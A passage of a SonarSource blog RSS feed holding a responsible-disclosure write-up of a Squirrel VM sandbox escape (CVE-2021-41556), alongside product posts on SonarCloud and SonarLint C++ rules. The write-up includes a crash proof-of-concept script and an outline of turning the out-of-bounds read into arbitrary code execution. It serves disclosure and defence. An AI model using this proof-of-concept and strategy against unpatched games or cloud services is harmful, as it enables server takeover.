project be released now?&lt;/em&gt;’ has been made more prominent. Same with the pull request summary that has been simplified to get down to the fundamentals.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We know your time is precious. We believe that with this new environment in place, you’ll be able to maximize the time invested in Code Quality and Code Security for great results. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On a special note, we want to thank each and every one of you who participated in &lt;a href=&quot;https://blog.sonarsource.com/discover-sonarclouds-new-project-experience&quot;&gt;the beta&lt;/a&gt; and shared precious feedback with the team. It is with your help and your insights that we’re building the best products to help developers write clean code.&lt;/p&gt;&lt;h2&gt;The beginning of a new era&lt;/h2&gt;&lt;p&gt;Embark with us on a clean code journey and embrace SonarCloud’s makeover. With this new project experience, you’ll:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Get clear visibility into your project’s health&lt;/li&gt;&lt;li&gt;Understand where potential problems are coming from&lt;/li&gt;&lt;li&gt;Focus your attention where you’ll have the most impact&lt;/li&gt;&lt;li&gt;Keep track of your progress and adjust if needed&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you have any questions about this new project experience, we invite you to ask them on our &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;community forum&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is only the beginning. Check our &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/roadmap/&quot;&gt;public roadmap&lt;/a&gt; to discover what’s coming next and stay tuned for future updates.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I guess now it’s time for you to open SonarCloud and try the new project experience! We hope you’ll enjoy it!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Squirrel Sandbox Escape allows Code Execution in Games and Cloud Services]]></title><description><![CDATA[We discovered and reported a vulnerability in the Squirrel VM, written in C, that allows an attacker to escape the sandbox.]]></description><link>https://www.sonarsource.com/blog/squirrel-vm-sandbox-escape</link><guid isPermaLink="false">b0538560-7cf7-583b-960a-6b2e5775456d</guid><dc:creator><![CDATA[Simon Scannell and Niklas Breitfeld]]></dc:creator><pubDate>Tue, 19 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SquirrelLang is an interpreted, open-source programming language that is used by video games and cloud services for customization and plugin development. For example, the extremely popular game Counter-Strike: Global Offensive (CS:GO) attracts millions of players on a monthly basis and utilizes the Squirrel Engine to enable anyone to create custom game modes and maps.&lt;/p&gt;&lt;p&gt;However, this freedom comes with a price: Anyone who downloads and hosts such an item from the community executes Squirrel code without any warning. Some of the most popular community-created items have been downloaded millions of times in the popular Steam shop. In order to prevent malicious actors from exploiting this, the Squirrel Engine is carefully sandboxed within the CS:GO process.&lt;/p&gt;&lt;p&gt;In this blog post, we break down a vulnerability we discovered in the core of Squirrel which was developed in C. It enables an attacker to bypass the sandbox restrictions and execute arbitrary code within a SquirrelVM, giving the attacker full access to the underlying machine.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;An attacker can exploit an Out-Of-Bounds Read vulnerability (CVE-2021-41556) to escape a Squirrel VM and gain access to the underlying machine. This attack vector becomes relevant when a Squirrel Engine is used to execute untrusted code. This is the case with cloud services such as, for example &lt;a href=&quot;https://developer.electricimp.com/libraries/webservices/twilio&quot;&gt;Twilio Electric Imp&lt;/a&gt; or video games such as &lt;a href=&quot;https://developer.valvesoftware.com/wiki/Squirrel&quot;&gt;Counter-Strike: Global Offensive&lt;/a&gt; and Portal 2 which attract millions of players monthly.&lt;/p&gt;&lt;p&gt;For example, in a real-world scenario, an attacker could embed a malicious Squirrel script into a community map and distribute it via the trusted Steam Workshop. When a server owner downloads and installs this malicious map onto his server, the Squirrel script is executed, escapes its VM, and takes control of the server machine. From here, as our &lt;a href=&quot;https://secret.club/2021/05/13/source-engine-rce-join.html&quot;&gt;recent research&lt;/a&gt; has shown, it would be possible to exploit other vulnerabilities within the game’s network protocol stack that target the CS:GO players connecting to the hijacked server. &lt;/p&gt;&lt;p&gt;We verified that both stable release branches, 2.x and &lt;em&gt;3.x,&lt;/em&gt; of Squirrel, are affected by the vulnerability discussed in this blog post. A patch has been released as a &lt;a href=&quot;https://github.com/albertodemichelis/squirrel/commit/23a0620658714b996d20da3d4dd1a0dcf9b0bd98&quot;&gt;commit&lt;/a&gt; to the official Squirrel repository, but at the time of writing, this commit has not been included in a new stable release. The latest official release is from 2016 and does not include patches for numerous other vulnerabilities that have been reported over the years. We did not develop exploits for specific projects that use Squirrel, but we recommend all project owners who depend on Squirrel to rebuild the latest Squirrel version from source code. &lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In the following sections, we provide some background information necessary to understand this vulnerability. We then go into detail about the bug that led to this security issue and finally provide a high-level exploitation strategy.&lt;/p&gt;&lt;h3&gt;Background - Squirrel Classes and Members&lt;/h3&gt;&lt;p&gt;Squirrel is an object-oriented programming language similar to PHP. It allows developers to define classes and methods. To get a feel for Squirrel, let’s assume the following example class definition:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class ExampleClass {
   first_field = 1;
   second_field = true;

   function someMethod() {
      print(&quot;Hello, World&quot;);
   }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The syntax shown in the code snippet above is not very unique. It demonstrates a class definition with some default fields and a method named &lt;code&gt;someMethod()&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;In order to understand what is happening internally, let’s look at internal structures and how they would appear in memory at runtime. On a simplified and abstract level, the underlying C code structures of this class definition could look like the following:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8d629136-186c-46c0-86e1-1269fb6b06ad/body-5c8dc1c2-24f9-4080-9325-7d4ce1016de3_Squirrel%2BInfographic.png&quot; /&gt;&lt;p&gt;The above image shows how a Squirrel class definition (&lt;code&gt;SQClass&lt;/code&gt;) contains a pointer to a dynamic array of methods, in which &lt;code&gt;someMethod()&lt;/code&gt; would be stored, as well as a pointer to a dynamic array of default values. Both &lt;code&gt;first_field&lt;/code&gt; and &lt;code&gt;second_field&lt;/code&gt;, along with their default values, would be stored here.&lt;/p&gt;&lt;p&gt;In order to access these default values and methods, an SQClass definition also contains a pointer to a HashMap. HashMap &lt;code&gt;_members&lt;/code&gt; maps the name of attributes to their index within either the &lt;code&gt;_defaultvalues&lt;/code&gt; or &lt;code&gt;_methods &lt;/code&gt;array. This relationship is shown in the following graphic:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2a7e271f-eb23-4ff1-b986-c0bacecb88d6/body-049bd1d5-fb90-4a01-aced-01a83c685010_Squirrel%2BInfographic%2B%25283%2529.png&quot; /&gt;&lt;p&gt;In order to determine if the retrieved index should be used to access the &lt;code&gt;_methods&lt;/code&gt; or &lt;code&gt;_defaultvalues&lt;/code&gt; array, a bitflag within the index is used.&lt;/p&gt;&lt;p&gt;The following code snippet shows a call to &lt;code&gt;_members-&amp;gt;NewSlot()&lt;/code&gt;, which is called when a class member is defined. We assume that a new default value, for example, &lt;code&gt;first_field&lt;/code&gt;, is added to the &lt;code&gt;_members &lt;/code&gt;HashMap:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;squirrel/sqclass.cpp&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;53   bool SQClass::NewSlot(SQSharedState *ss,const SQObjectPtr &amp;key,const SQObjectPtr &amp;val,bool bstatic)
54   {
...
94      SQClassMember m;
95      m.val = val;
96      _members-&gt;NewSlot(key, _make_field_idx(field_idx));
97      _defaultvalues.push_back(m);
98 	  return true;
99   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;squirrel/sqclass.cpp&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Following the example of defining &lt;code&gt;first_field&lt;/code&gt;, the &lt;code&gt;key&lt;/code&gt; variable would contain the string “&lt;code&gt;first_field&lt;/code&gt;”. The corresponding &lt;code&gt;_defaultvalues&lt;/code&gt; array index stored in the &lt;code&gt;field_idx&lt;/code&gt; variable is then stored in the HashMap. Note, however, that before the index is stored it is modified with the &lt;code&gt;_make_field_idx()&lt;/code&gt; macro. This macro and its counterpart for methods are defined as follows:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;squirrel/sqclass.h&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;18   #define MEMBER_TYPE_METHOD 0x01000000
19   #define MEMBER_TYPE_FIELD 0x02000000
20
21   #define _ismethod(o) (o&amp;MEMBER_TYPE_METHOD)
22   #define _isfield(o) (o&amp;MEMBER_TYPE_FIELD)
23   #define _make_method_idx(i) ((MEMBER_TYPE_METHOD|i))
24   #define _make_field_idx(i) ((MEMBER_TYPE_FIELD|i))
25   #define _member_type(o) (o &amp; 0xFF000000)
26   #define _member_idx(o) (o &amp; 0x00FFFFFF)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;squirrel/sqclass.h&lt;/em&gt;&lt;/p&gt;&lt;p&gt;As can be seen in line 24, the &lt;code&gt;_make_field_idx()&lt;/code&gt; sets the bitflag &lt;code&gt;0x02000000&lt;/code&gt; on the index.&lt;/p&gt;&lt;h3&gt;CVE-2021-41556: Out-Of-Bounds Access via Index Confusion &lt;/h3&gt;&lt;p&gt;The fact that bitflags are set within indexes is problematic as it is entirely possible for an attacker to create a class definition with &lt;code&gt;0x02000000&lt;/code&gt; methods. As such we can create a very simple PoC:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class D {}
function a() {}
for(local i = 0; i &lt; 0x02000008; i+=1) {
    D.rawset(i, a);
}
local xxx = D.rawget(0x02000004);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;rawset&lt;/code&gt;&lt;em&gt; &lt;/em&gt;and &lt;code&gt;rawget&lt;/code&gt;&lt;em&gt; &lt;/em&gt;functions allow us to handily access members of a given class. In this PoC, the squirrel interpreter will dereference a null pointer and segfault because the &lt;code&gt;_defaultvalues&lt;/code&gt;&lt;em&gt; &lt;/em&gt;array has not been allocated yet.&lt;/p&gt;&lt;p&gt;The following code snippet shows the vulnerable code, which we will break down in the following paragraphs:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;squirrel/sqclass.h&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;40   bool Get(const SQObjectPtr &amp;key,SQObjectPtr &amp;val) {
41      SQObjectPtr idx;
42      if(_members-&gt;Get(key, idx)) {
43         if(_isfield(index)) {
44            SQObjectPtr &amp;o = _defaultvalues[_member_idx(idx)].val;
45            val = _realval(o);
46         }
47         else {
48            val = _methods[_member_idx(val)].val;
49         }
50         return true;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;squirrel/sqclass.h&lt;/em&gt;&lt;/p&gt;&lt;p&gt;The above code is called when a class attribute is accessed. The call to &lt;code&gt;_members-&amp;gt;Get(key, idx)&lt;/code&gt; in line 42 takes in a key, which contains the name of the member that will be accessed. After the call, &lt;code&gt;idx&lt;/code&gt; contains the index to either the &lt;code&gt;_defaultvalues&lt;/code&gt; or &lt;code&gt;_methods&lt;/code&gt; array. Which array should be accessed is determined by checking the bitflags of the index.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;_isfield()&lt;/code&gt; macro returns &lt;code&gt;true&lt;/code&gt;&lt;em&gt; &lt;/em&gt;if the bitflag &lt;code&gt;0x02000000&lt;/code&gt; is set in the index. The bug lies in the fact that an attacker that is able to insert at least &lt;code&gt;0x02000000&lt;/code&gt;  methods into a class definition can force this check to return true since the bitflag would be set. &lt;/p&gt;&lt;p&gt;To make this more concrete, let’s walk through an example of how an attacker can trigger this vulnerability:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The attacker creates a class definition with 0x02000005 methods and 0x1 fields&lt;/li&gt;&lt;li&gt;The attacker accesses the method with the corresponding index 0x02000005&lt;/li&gt;&lt;li&gt;The _isfield() macro returns true for this index as the bitflag  0x02000000 is set&lt;/li&gt;&lt;li&gt;The _defaultvalues array is accessed with index 0x5. However, it only contains 0x1 entries and thus the attacker has accessed out of bounds.&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Exploitation Strategy&lt;/h3&gt;&lt;p&gt;In order to understand why this out-of-bounds access is dangerous, let’s have a look at what an attacker can do next.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;_defaultvalues&lt;/code&gt; array which is subject to the OOB-access contains &lt;code&gt;SQObjectPtr&lt;/code&gt; structures. Thus, the memory that is read outside of the buffer of the array is interpreted as such. On a high level, this structure contains a pointer to a &lt;code&gt;SQObjectValue&lt;/code&gt;, as well as a field that is used to determine what kind of object is referenced by the pointer.&lt;/p&gt;&lt;p&gt;The following graphic demonstrates the relationship between an &lt;code&gt;SQObjectPtr&lt;/code&gt; and a &lt;code&gt;SQObjectValue&lt;/code&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/af092aa8-b84b-4fa0-b1ad-de19e9ac6b8f/body-833aea10-00e4-4d40-bb46-12c6373e7301_Copy%2Bof%2BSquirrel%2BInfographic.png&quot; /&gt;&lt;p&gt;Through careful preparation of the heap, it is possible to craft a string that imitates an &lt;code&gt;SQObjectPtr&lt;/code&gt; struct and place it next to the array of &lt;code&gt;_defaultvalues&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;In the exploit we developed for demonstration purposes, we tricked the engine into believing that it fetched a pointer to a Squirrel Array. Squirrel Arrays are dynamic arrays, where 2 fields are relevant to exploitation:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;A pointer that contains the address of the current array buffer&lt;/li&gt;&lt;li&gt;An 8-byte integer that contains the size of the current array buffer&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;By making the fake &lt;code&gt;SQObjectPtr&lt;/code&gt; point to another attacker-controlled string on the heap, it was possible to trick Squirrel into returning an array that points to the base address &lt;code&gt;0x0&lt;/code&gt; and contains &lt;code&gt;0xffffffffffffffff&lt;/code&gt; entries.&lt;/p&gt;&lt;p&gt;This enabled us to abuse the fake array to address the entire process space and read and write values. Ultimately, we were able to hijack the control flow of the program and gain full control of the Squirrel VM. This was achieved by overwriting function pointers. The following graphic shows this chain of attacker-controlled pointer that enabled reading and writing to the entire address space:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f3f21fca-4409-460f-80ed-c830b8770ec5/body-b0f90267-e48c-4be0-b346-a30974fb0232_Copy%2Bof%2BSquirrel%2BInfographic%2B%25281%2529.png&quot; /&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-10&lt;/td&gt;&lt;td&gt;We send the vulnerability details via email to the email address listed in the Squirrel GitHub repository.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-12&lt;/td&gt;&lt;td&gt;We create a GitHub issue asking for the correct point of contact&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-25&lt;/td&gt;&lt;td&gt;The maintainer replies with an email address we can disclose the vulnerability details to. We disclose the vulnerability details..&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-26&lt;/td&gt;&lt;td&gt;The maintainer acknowledges the vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-16&lt;/td&gt;&lt;td&gt;A commit containing a patch is pushed to the Squirrel GitHub repository by the maintainer.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we explained the details of an Out-Of-Bounds vulnerability in SquirrelLang. We outlined how storing information within an index value can lead to logical bugs if the bits representing this information are set too low. We also discussed how such issues might be exploited to escape a Squirrel VM and execute arbitrary code on a host process. We broke down how this might affect Counter-Strike: Global Offensive players to illustrate how such a vulnerability can be leveraged in the real world. We highly recommend maintainers that are using Squirrel to apply the available &lt;a href=&quot;https://github.com/albertodemichelis/squirrel/commit/23a0620658714b996d20da3d4dd1a0dcf9b0bd98&quot;&gt;fix commit&lt;/a&gt; to their projects to protect against these attacks. Last but not least, we would like to thank the Squirrel team for quickly making a patch available for this issue after our reporting.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/alternative-way-to-configure-c-and-cpp-analysis/&quot;&gt;Compilation database: An alternative way to configure your C or C++ analysis&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/ghost-admin-takeover/&quot;&gt;Ghost CMS 4.3.2 - Cross-Origin Admin Takeover&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/elfinder-case-study-of-web-file-manager-vulnerabilities/&quot;&gt;elFinder - A Case Study of Web File Manager Vulnerabilities&lt;/a&gt;&lt;em&gt; &lt;/em&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Supercharge your C++ analysis with SonarLint for CLion]]></title><description><![CDATA[This article talks about the powerful capabilities of the C++ analyzer with SonarLint and highlights some unique and interesting quality and security rules you might find useful. Through that lens, we demonstrate how you can leverage these rules to elevate your CLion built-in static analysis capabilities for your C++ projects.]]></description><link>https://www.sonarsource.com/blog/supercharge-cpp-analysis-sonarlint-for-clion</link><guid isPermaLink="false">27b35d6d-fe71-5e97-95cc-ca35016a8036</guid><dc:creator><![CDATA[Phil Nash and Geoffray Adde]]></dc:creator><pubDate>Tue, 28 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Earlier this year we &lt;a href=&quot;https://community.sonarsource.com/t/sonarlint-for-intellij-4-15-released-c-and-c-support-for-clion/42154&quot;&gt;launched&lt;/a&gt; the support for C and C++ in &lt;a href=&quot;https://www.sonarlint.org/clion/&quot;&gt;SonarLint for CLion&lt;/a&gt; to address quality and security issues for your C/C++ projects. Since then, the team has continued to bring even greater value to the C and C++ users, continuing our mission to empower the community to deliver code that meets the highest quality and security standards.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this post, we want to demonstrate the powerful capabilities of the C++ analyzer with SonarLint (a free, in-IDE static analysis plugin) and highlight some unique and interesting rules that you might find useful. Through that lens, we want to show how you can leverage them to elevate your CLion’s inbuilt static analysis capabilities.&lt;/p&gt;&lt;h2&gt;Rules that build on Checks and Inspections&lt;/h2&gt;&lt;p&gt;CLion has a great set of what it calls &lt;em&gt;Inspections&lt;/em&gt; already built in - many of which it integrates directly from clang-tidy &lt;em&gt;Checks&lt;/em&gt;. Some of what SonarLint calls &lt;em&gt;Rules&lt;/em&gt; are expanded forms of Inspections already found in CLion in a more limited form (often coming from clang-tidy).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A great example of this is &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-995&quot;&gt;S995&lt;/a&gt;, which detects if parameters, taken by pointer or reference, could be made const. clang-tidy has the &lt;a href=&quot;https://clang.llvm.org/extra/clang-tidy/checks/readability-non-const-parameter.html&quot;&gt;&lt;strong&gt;readability-non-const-parameter&lt;/strong&gt;&lt;/a&gt; check, which has the same goal, but, at time of writing, only works for pointers to numeric types - so for:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/decfa2e4-9092-4ac5-a914-62e139a250f3/body-d81cda16-8ff7-4d1c-910d-b7cd6901cc53_image11.png&quot; /&gt;&lt;p&gt;Within CLion, clang-tidy reports:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/daef8a9c-72eb-4a16-9488-5c0fa60de711/body-0008847e-e3d2-40e2-b6f6-9150ba9dc9f0_image8.png&quot; /&gt;&lt;p&gt;But for:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/75b034be-bcbd-42c9-bf91-d220e47b6eab/body-0ac331e4-4290-405e-b528-5cc4c7d5eaee_image4.png&quot; /&gt;&lt;p&gt;clang-tidy is silent, but SonarLint reports:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/33502a3b-a461-4c2a-a984-9e864c66867b/body-56d76bd1-93dd-4de8-983f-606fcfafff0b_image3.png&quot; /&gt;&lt;p&gt;That makes this a much more useful rule. And note the link to a more in-depth rule description.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But the benefits of using const, here, are well known, and it’s often easy to spot them by eye. So let’s take a look at something less obvious. Imagine you have some code, like:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/203c66ab-fb91-469c-857e-fca630640d94/body-2b452b44-59bd-4fe9-8042-d858a2408b1b_image2.png&quot; /&gt;&lt;p&gt;Looks harmless enough. And when you run that, it will work as you might expect and produce the results you intended. So what’s the problem?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The problem occurs in the call to &lt;code&gt;find&lt;/code&gt;. We are passing a string literal, but &lt;code&gt;find&lt;/code&gt; takes its argument by the &lt;em&gt;key&lt;/em&gt; &lt;em&gt;type&lt;/em&gt; of the container - in this case &lt;code&gt;std::string&lt;/code&gt;. It’s a &lt;em&gt;const-ref&lt;/em&gt; to a string, but it will still have to create a temporary string and copy the characters in.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If that is an issue for you it’s hard to spot that just by looking at it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That all seems a shame, given that we’re only using the string to compare against each element - and comparisons already work across these string types.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So C++14 introduced &lt;em&gt;transparent comparators&lt;/em&gt;. The associative containers take a template argument for a &lt;em&gt;comparator&lt;/em&gt;, which defaults to &lt;code&gt;std::less&amp;lt;KeyType&amp;gt;&lt;/code&gt;. It’s that &lt;code&gt;KeyType&lt;/code&gt; that’s causing our issue. So &lt;code&gt;std::less&amp;lt;void&amp;gt;&lt;/code&gt; was specified to be a specialization where all its members are templates - so they use whatever types they are called with, rather than baking in the &lt;code&gt;KeyType&lt;/code&gt; - hence &lt;em&gt;transparent&lt;/em&gt;. Cool! That’s exactly what we need. In fact, &lt;code&gt;void&lt;/code&gt; is the default for &lt;code&gt;std::less&lt;/code&gt;, so the common idiom is to just use &lt;code&gt;std::less&amp;lt;&amp;gt;&lt;/code&gt;. Less is more, as they say.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here’s how that looks:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1bc53768-38d3-41b9-9059-02820ae5cbef/body-1a50fc1a-335c-4871-b0ed-187c88eadce6_image8.png&quot; /&gt;&lt;p&gt;Again, clang-tidy has a check in this area, &lt;strong&gt;&lt;a href=&quot;https://clang.llvm.org/extra/clang-tidy/checks/modernize-use-transparent-functors.html&quot;&gt;modernize-use-transparent-functors&lt;/a&gt;, &lt;/strong&gt;but it has &lt;a href=&quot;https://godbolt.org/z/1h6We9v8M&quot;&gt;several problems&lt;/a&gt;. It may actually make things &lt;em&gt;worse&lt;/em&gt;, for some types, and it only works if a comparator is explicitly provided. Using the default comparator is by far the more common case (such as in our example), so &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6045&quot;&gt;S6045&lt;/a&gt; detects these cases, too, and avoids those pessimizations, whereas &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6021&quot;&gt;S6021&lt;/a&gt; actively warns &lt;em&gt;against&lt;/em&gt; using transparent comparators for types that lack heterogeneous comparisons.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/880ecc68-ab28-4192-ba04-b987afda6d60/body-a58eaf64-3ae0-43b1-adfc-defe6e27f5ac_image2.png&quot; /&gt;&lt;p&gt;This is also a good example to point out the extensive description for the rule that can be found on the rule page - but is also surfaced right within the IDE. If you weren’t already familiar with transparent comparators you will receive a mini-lesson on them - helping you understand why the rule is triggering and how you might address it (or choose not to). Many of our rule descriptions turn out to be great learning resources - and having them right in your IDE at the point that you need to understand them makes them highly relevant to your code, as well.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/21f721b8-a4c8-4a56-999d-0204370abe37/body-98254cad-b8fc-4ab0-a9cc-1c37b93515aa_image7.png&quot; /&gt;&lt;h2&gt;Modern, New, Rules&lt;/h2&gt;&lt;p&gt;Of course SonarLint has many rules that are not, currently at least, implemented at all by clang-tidy or CLion. For example, &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-3608&quot;&gt;S3608&lt;/a&gt; suggests that “&lt;em&gt;Default capture should not be used&lt;/em&gt;”. This corresponds to Item #31 of Scott Meyers’ “Effective Modern C++”, and is partially captured (if you’ll excuse the pun) by the &lt;a href=&quot;http://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#f54-if-you-capture-this-capture-all-variables-explicitly-no-default-capture&quot;&gt;Core Guidelines&lt;/a&gt; and &lt;a href=&quot;https://google.github.io/styleguide/cppguide.html#Lambda_expressions&quot;&gt;Google’s C++ Style Guide&lt;/a&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d3f329b1-5f4b-4b9c-ab39-9264a3611675/body-6b7445c2-0253-4a99-b2d3-6cf242e2aa1e_image4.png&quot; /&gt;&lt;p&gt;There are several potential problems with default capture modes, which are highlighted in the rule description. Most notably, even default &lt;em&gt;value&lt;/em&gt; capture ([=]) captures the &lt;code&gt;this&lt;/code&gt; pointer, which may lead to surprising results if a member variable is referenced. It might look like it should be captured by value but, in fact it is not captured at all - it’s being accessed through the captured &lt;code&gt;this&lt;/code&gt; pointer. Oh C++!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As well as S3608, we also trigger &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-5019&quot;&gt;S5019&lt;/a&gt;, “&lt;em&gt;Lambdas that capture &amp;quot;this&amp;quot; should capture everything explicitly&lt;/em&gt;” if the &lt;code&gt;this&lt;/code&gt; pointer is being used. If all variables are captured explicitly it is much easier to verify that there are no lifetime issues. A notable exception to this rule is when using &lt;a href=&quot;https://www.cppstories.com/2016/11/iife-for-complex-initialization/&quot;&gt;Immediately Invoked Lambda Expressions&lt;/a&gt; (i.e. calling the lambda straight away) - and this exception, along with a couple of others, is allowed for by the rule.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Lambdas have been around since C++11, so may not be considered “modern” anymore. But CLion and clang-tidy have many inspections and checks that help us modernize our code. New language features are introduced for good reasons - usually leading to safer, easier-to-read code. So while it may not be worth rewriting all our existing code, we should take advantage of this evolution with any new code we write. So it’s great that our tools will help us there, too. SonarLint adds even more modernizing rules, such as &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-6004&quot;&gt;S6004&lt;/a&gt;, “&lt;em&gt;&amp;quot;if&amp;quot;,&amp;quot;switch&amp;quot;, and range-based for loop initializer should be used to reduce scope of variables&lt;/em&gt;”.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;C++17 introduced a way to initialize a variable from right within a control flow statement, such as if, in much the same way we’ve always been able to do with classic for statements. This allows us to scope our variables to only the parts of our code that need them. For objects employing the RAII pattern, this is especially valuable. C++20 expanded this feature for range-based-for loops - very useful for avoiding the trap of trying to iterate a temporary object!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;S6004 reports when an &lt;em&gt;init-statement&lt;/em&gt; could be used but isn’t - along with the extensive rule description explaining the details.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/31177dc9-3c3a-4fe0-a63c-e5a97e4e7a52/body-90d8e3db-5e7a-4462-ac50-8ebc97a78614_image1.png&quot; /&gt;&lt;h2&gt;Unforgettable Security&lt;/h2&gt;&lt;p&gt;Some issues are more serious than others - especially when they relate to the security of your running application. Sometimes a well-intentioned attempt to secure your code backfires due to subtleties in what the compiler is allowed to 